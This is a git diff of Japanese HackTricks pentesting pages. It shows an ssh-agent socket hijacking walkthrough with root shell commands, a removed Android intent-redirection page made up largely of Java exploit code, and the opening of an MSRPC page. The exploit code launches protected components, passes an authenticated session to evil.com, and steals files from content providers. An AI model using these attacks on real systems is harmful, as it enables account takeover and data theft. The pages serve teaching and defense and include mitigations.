複数の方法がありますが、rootは実行中のプロセスの環境を表示できます。Linuxでは、そのデータは/proc/<pid>/environにあります。NULLで終端された文字列で保存されているため、NULLを改行に変換するためにtrを使用します。
|
||||
```
|
||||
seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816
|
||||
```
|
||||
私は今、Bobのssh-agentをハイジャックするために必要なすべてを知っています：
|
||||
私は今、Bobのssh-agentを乗っ取るために必要なすべてを知っています。
|
||||
```
|
||||
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
|
||||
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)
|
||||
```
|
||||
```markdown
|
||||
特定のターゲットが頭にある場合、今は直接接続できるはずです。そうでなければ、プロセスリストを見たり、Bobの履歴ファイルをgrepしたりするだけで、十分なターゲットが見つかるはずです。このケースでは、Bobが「boston」という名前のサーバーに様々な超秘密のファイルを保存していることを知っています：
|
||||
```
|
||||
もし特定のターゲットを持っている場合は、直接接続できるはずです。そうでない場合は、プロセスリストを監視したり、Bobの履歴ファイルをgrepしたりすると、たくさんの機会ターゲットが見つかるはずです。この場合、私はBobがサーバーに保存しているさまざまな超機密ファイルがあることを知っています。
|
||||
```
|
||||
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
bob@boston:~$ whoami
|
||||
bob
|
||||
```
|
||||
## **自分を守る！**
|
||||
## **自己保護！**
|
||||
|
||||
ssh-agentがキーを無期限に保管しないようにしましょう。OS Xでは、Keychainを設定して、非アクティブ状態や画面がロックされた後にロックするようにします。他のUnix系プラットフォームでは、ssh-agentに-tオプションを渡して、キーが秒後に削除されるようにします。
|
||||
ssh-agentがキーを無期限に保存しないようにしましょう。OS Xでは、Keychainを設定して、非アクティブ時や画面ロック時にロックされるようにします。他のUnix系プラットフォームでは、ssh-agentに -t オプションを渡すことで、キーが seconds 後に削除されるようにします。
|
||||
|
||||
信頼できないホストに接続するときは、エージェントフォワーディングを有効にしないでください。幸いなことに、\~/.ssh/configの構文はこれをかなり簡単にします：
|
||||
信頼できないホストに接続する際は、エージェント転送を有効にしないでください。幸いにも、\~/.ssh/config 構文を使用すれば、これはかなり簡単です。
|
||||
```
|
||||
Host trustworthyhost
|
||||
ForwardAgent yes
|
||||
|
|
@ -153,24 +142,24 @@ ForwardAgent yes
|
|||
Host *
|
||||
ForwardAgent no
|
||||
```
|
||||
## **おすすめの読書**
|
||||
## **おすすめの読み物**
|
||||
|
||||
* [OpenSSHキー管理](http://www.ibm.com/developerworks/library/l-keyc/index.html) – Daniel Robbins
|
||||
* [SSHエージェントフォワーディングのイラストガイド](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl
|
||||
* [SSH Agent Forwardingの図解ガイド](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl
|
||||
* [ssh-agentマニュアル](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)
|
||||
* [ssh-addマニュアル](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load diff
|
|
@ -1,268 +1,31 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksに広告を掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック！
|
||||
* [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする**
|
||||
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**調査はこちらから** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
|
||||
|
||||
# はじめに
|
||||
|
||||
この脆弱性は**ウェブセキュリティのOpen Redirect**に似ています。`Intent`クラスは`Parcelable`であるため、**このクラスに属するオブジェクト**は、別の`Intent`オブジェクトの**追加データ**として**渡すことができます**。\
|
||||
多くの開発者はこの**機能**を利用して、**プロキシコンポーネント**（アクティビティ、ブロードキャストレシーバー、サービス）を作成し、`startActivity(...)`、`sendBroadcast(...)`などの危険なメソッドに**埋め込まれたIntentを渡します**。\
|
||||
これは危険です。なぜなら、**攻撃者がアプリに対して直接起動できない非エクスポートコンポーネントを起動させたり、攻撃者にコンテンツプロバイダへのアクセスを許可させることができるからです**。**`WebView`**も時々、`Intent.parseUri(...)`メソッドを使用して**URLを文字列から`Intent`オブジェクトに変更し**、`startActivity(...)`に渡します。
|
||||
|
||||
{% hint style="info" %}
|
||||
要約すると：攻撃者が不安全に実行されているIntentを送信できる場合、エクスポートされていないコンポーネントにアクセスし、それらを悪用する可能性があります。
|
||||
{% endhint %}
|
||||
|
||||
# 典型的なケース
|
||||
|
||||
例を見てみましょう。`AndroidManifest.xml`ファイルの断片
|
||||
```markup
|
||||
<activity android:name=".ProxyActivity" android:exported="true" />
|
||||
<activity android:name=".AuthWebViewActivity" android:exported="false" />
|
||||
```
|
||||
Activity `ProxyActivity`
|
||||
```java
|
||||
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
|
||||
```
|
||||
Activity `AuthWebViewActivity`
|
||||
```java
|
||||
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
|
||||
```
|
||||
`AuthWebViewActivity`は、この場合`url`パラメーターから取得したURLにユーザーの認証セッションを渡すという、**特定の安全でないアクションを実行する隠されたアプリ機能の例**です。
|
||||
|
||||
輸出制限により、**攻撃者は`AuthWebViewActivity`に直接アクセスできません**。直接呼び出し
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||||
intent.putExtra("url", "http://evil.com/");
|
||||
startActivity(intent);
|
||||
```
|
||||
```markdown
|
||||
`java.lang.SecurityException`がスローされ、`Permission Denial`: `AuthWebViewActivity`がuid 1337からエクスポートされていないためです。
|
||||
|
||||
しかし、攻撃者は**被害者に`AuthWebViewActivity`を自ら起動させることができます**：
|
||||
```
|
||||
```java
|
||||
Intent extra = new Intent();
|
||||
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||||
extra.putExtra("url", "http://evil.com/");
|
||||
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||||
intent.putExtra("extra_intent", extra);
|
||||
startActivity(intent);
|
||||
```
|
||||
# 影響のエスカレーション
|
||||
|
||||
この脆弱性の影響をエスカレートさせるためには、**他の脆弱性や誤設定を見つける必要があります。これにより、脆弱性の影響を増大させることができます**（脆弱性自体はリスクを生じさせません）。
|
||||
|
||||
## Content Providersを介した攻撃のエスカレーション
|
||||
|
||||
元のアプリの任意のコンポーネントへのアクセスに加えて、**攻撃者は脆弱なアプリのContent Providersのアクセスを試みることができます**。以下の条件を満たす必要があります：
|
||||
|
||||
* **非エクスポート**されている必要があります（そうでなければ、**直接攻撃される可能性があります**、この記事で議論している脆弱性を使用せずに）
|
||||
* **`android:grantUriPermissions`** フラグが **`true`** に設定されている必要があります。
|
||||
* `android:grantUriPermissions="true"` は、Javaコードがその `ContentProvider` によって提供される **任意の `Uri`** で `FLAG_GRANT_READ_URI_PERMISSION` と `FLAG_GRANT_WRITE_URI_PERMISSION` を使用できることを示します。
|
||||
* `android:grantUriPermissions="false"` は、**`<grant-uri-permission>` 子要素によって指定された `Uri` 値のみ** が `FLAG_GRANT_READ_URI_PERMISSION` と `FLAG_GRANT_WRITE_URI_PERMISSION` で使用できることを示します。
|
||||
|
||||
攻撃者は、埋め込まれたインテントの受信者として自身を設定し、以下のフラグを設定する必要があります
|
||||
|
||||
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` はプロバイダへの永続的なアクセスを許可します（このフラグがない場合、アクセスは一回限りです）
|
||||
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` はURIへのプレフィックスによるアクセスを許可します - 例えば、`content://com.victim.provider/image/1` のような完全なパスを使用して繰り返しアクセスを取得する代わりに、攻撃者はURI `content://com.victim.provider/` を使用してプロバイダの全コンテンツへのアクセスを許可し、その後 `ContentResolver` を使用して `content://com.victim.provider/image/1`、`content://com.victim.provider/image/2` などにアクセスします。
|
||||
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` はプロバイダへの読み取り操作（`query`、`openFile`、`openAssetFile` など）を許可します
|
||||
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` は書き込み操作を許可します
|
||||
|
||||
攻撃者がアクセスを取得し、`query`、`update`、`insert`、`delete`、`openFile`、`openAssetFile` などの通常の操作を行うことができる典型的なプロバイダの例
|
||||
```markup
|
||||
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
|
||||
```
|
||||
ユーザーの写真の盗難の例 `AndroidManifest.xml` ファイル
|
||||
```markup
|
||||
<activity android:name=".LeakActivity" android:exported="true" />
|
||||
```
|
||||
`MainActivity.java` ファイル
|
||||
```java
|
||||
Intent extra = new Intent();
|
||||
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
|
||||
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
|
||||
| Intent.FLAG_GRANT_READ_URI_PERMISSION
|
||||
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
|
||||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||||
extra.setData(Uri.parse("content://com.victim.provider/"));
|
||||
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||||
intent.putExtra("extra_intent", extra);
|
||||
startActivity(intent);
|
||||
```
|
||||
`LeakActivity.java`
|
||||
```java
|
||||
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
|
||||
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
|
||||
```
|
||||
## Android File Providerへの攻撃
|
||||
|
||||
この脆弱性により、攻撃者は開発者が事前に定めたディレクトリに位置する**アプリファイルを盗む**ことも可能になります。攻撃を成功させるためには、悪意のあるアプリが**Android File Providerへのアクセス権を取得し、Android ContentResolverを使用してファイルプロバイダーから内容を読み取る**必要があります。
|
||||
|
||||
ファイルプロバイダーの例（詳細は[https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider)を参照）
|
||||
```markup
|
||||
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
|
||||
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
|
||||
</provider>
|
||||
```
|
||||
ファイルへの読み書きアクセスを提供します。これはアプリリソース内の特別なリストにあり、この場合は `res/xml/provider_paths.xml` で見つけることができます。
|
||||
|
||||
それはおそらく次のように見えるでしょう
|
||||
```markup
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<paths>
|
||||
<root-path name="root" path=""/>
|
||||
<files-path name="internal_files" path="."/>
|
||||
<cache-path name="cache" path=""/>
|
||||
<external-path name="external_files" path="images"/>
|
||||
</paths>
|
||||
```
|
||||
```markdown
|
||||
各タグは、ルートに対して相対的な`path`値を持つルートディレクトリを指定します。例えば、`external_files`の値は`new File(Environment.getExternalStorageDirectory(), "images")`に対応します。
|
||||
|
||||
`root-path`の値は`/`に対応し、任意のファイルへのアクセスを提供します。
|
||||
|
||||
例えば、秘密のデータが`/data/data/com.victim/databases/secret.db`ファイルに保存されているとしましょう：このファイルの盗難は`MainActivity.java`で以下のようになるかもしれません
|
||||
```
|
||||
```java
|
||||
Intent extra = new Intent();
|
||||
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
|
||||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||||
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
|
||||
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||||
intent.putExtra("extra_intent", extra);
|
||||
startActivity(intent);
|
||||
```
|
||||
`LeakActivity.java`
|
||||
```java
|
||||
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
|
||||
```
|
||||
## WebViewを介した任意のコンポーネントへのアクセス
|
||||
|
||||
Intentオブジェクトは、`Intent.toUri(flags)`の呼び出しで文字列にキャストでき、`Intent.parseUri(stringUri, flags)`を使用して文字列からIntentに戻すことができます。この機能は、WebView（アプリの組み込みブラウザー）でよく使用されます：**アプリは`intent://`スキームを検証し、URLをIntentに解析してアクティビティを起動することができます**。
|
||||
|
||||
**この脆弱性は、他の脆弱性を介しても悪用される可能性があります**（例えば、エクスポートされたアクティビティを介してWebViewでアプリ内で任意のリンクを直接開く能力、またはディープリンクメカニズムを通じて）クライアントアプリで、またはリモートで、サーバーサイドのクロスサイトスクリプティングやクライアントサイドのMitMを含む
|
||||
|
||||
脆弱なコードの例
|
||||
```java
|
||||
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||||
Uri uri = request.getUrl();
|
||||
if("intent".equals(uri.getScheme())) {
|
||||
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
|
||||
return true;
|
||||
}
|
||||
return super.shouldOverrideUrlLoading(view, request);
|
||||
}
|
||||
```
|
||||
```markdown
|
||||
ここでのポイントは、`WebViewClient` クラスの `shouldOverrideUrlLoading(...)` メソッドが WebView が新しいリンクをロードしようとするたびに呼び出されるが、アプリにカスタムハンドラを追加するオプションを与えることです。
|
||||
|
||||
この脆弱性を悪用するために、攻撃者は特別に準備された intent-scheme URL への WebView リダイレクトを作成する必要があります。URL 作成の例
|
||||
```
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||||
intent.putExtra("url", "http://evil.com/");
|
||||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
|
||||
```
|
||||
例の攻撃
|
||||
```java
|
||||
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
|
||||
```
|
||||
このバージョンには、**クラシックバージョンの脆弱性と比較していくつかの制限があります**：
|
||||
|
||||
* 埋め込まれた `Parcelable` と `Serializable` オブジェクトは文字列にキャストできません（無視されます）
|
||||
* `Intent.parseUri(...)` が呼び出されたとき、不安全なフラグ `Intent.FLAG_GRANT_READ_URI_PERMISSION` と `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` は**無視されます**。パーサーは `Intent.URI_ALLOW_UNSAFE` フラグが設定されている場合のみそれらを残します（`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` とても稀です
|
||||
|
||||
多くの開発者は、WebView経由で受け取ったインテントの完全なフィルタリングを行うことを忘れがちです。
|
||||
```java
|
||||
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||||
Uri uri = request.getUrl();
|
||||
if("intent".equals(uri.getScheme())) {
|
||||
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
|
||||
intent.addCategory("android.intent.category.BROWSABLE");
|
||||
intent.setComponent(null);
|
||||
startActivity(intent);
|
||||
return true;
|
||||
}
|
||||
return super.shouldOverrideUrlLoading(view, request);
|
||||
}
|
||||
```
|
||||
攻撃者はセレクタを使用して、エクスポートされていないコンポーネントを指定できます
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
|
||||
intent.putExtra("url", "http://evil.com/");
|
||||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
|
||||
```
|
||||
アプリの明示的なインテントに対する保護をバイパスします。したがって、セレクタのフィルタリングも推奨します。
|
||||
```java
|
||||
intent.addCategory("android.intent.category.BROWSABLE");
|
||||
intent.setComponent(null);
|
||||
intent.setSelector(null);
|
||||
```
|
||||
しかし、完全なフィルタリングを行っても、攻撃者が非エクスポートされたアクティビティの`intent-filter`に対応する暗黙的なインテントを作成することで、完全な保護が保証されるわけではありません。アクティビティ宣言の例：
|
||||
```markup
|
||||
<activity android:name=".AuthWebViewActivity" android:exported="false">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.VIEW" />
|
||||
<category android:name="android.intent.category.DEFAULT" />
|
||||
<data android:scheme="victim" android:host="secure_handler" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
|
||||
```java
|
||||
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
|
||||
```
|
||||
したがって、アクティビティがエクスポートされる前に、それが起動されるかどうかを確認することをお勧めします。
|
||||
|
||||
## インテントを不安全に作成する他の方法
|
||||
|
||||
一部のアプリ開発者は、**独自のインテントパーサー**を実装しています（しばしば**ディープリンク**やプッシュメッセージを処理するために）、例えば**JSON**オブジェクト、文字列、またはバイト配列を使用しており、これらはデフォルトと異ならないか、または非常に危険を伴います。なぜなら、**`Serializable`**や`Parcelable`オブジェクトを拡張する可能性があり、不安全なフラグを設定することも許可されているからです。セキュリティ研究者は、バイト配列を`Parcel`にキャストし、そこからインテントを読み取るなど、よりエキゾチックなインテント作成のバージョンに遭遇することもあります。
|
||||
```java
|
||||
Uri deeplinkUri = getIntent().getData();
|
||||
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
|
||||
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
|
||||
Parcel parcel = Parcel.obtain();
|
||||
parcel.unmarshall(handle, 0, handle.length);
|
||||
startActivity((Intent) parcel.readParcelable(getClassLoader()));
|
||||
}
|
||||
```
|
||||
# 脆弱性アプリ
|
||||
|
||||
{% embed url="https://github.com/oversecured/ovaa" %}
|
||||
**[https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出して、あなたのハッキングテクニックを**共有する**。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック！
|
||||
* [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする**
|
||||
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,71 +2,58 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう！
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
**ハッキングの洞察**\
|
||||
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
|
||||
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです！上昇期のWeb3セキュリティをマスターしましょう。
|
||||
**リアルタイムハックニュース**\
|
||||
リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
**最新のアナウンス**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう！
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう！
|
||||
|
||||
## 基本情報
|
||||
|
||||
Microsoft Remote Procedure Call（MSRPC）は、関数呼び出しまたはサブルーチン呼び出しとも呼ばれるプロトコルであり、クライアント-サーバーモデルを使用して、プログラムが他のコンピュータ上のプログラムにサービスを要求するために、そのコンピュータのネットワークの詳細を理解する必要がありません。 MSRPCは元々オープンソースソフトウェアから派生していましたが、Microsoftによってさらに開発され、著作権が保護されています。
|
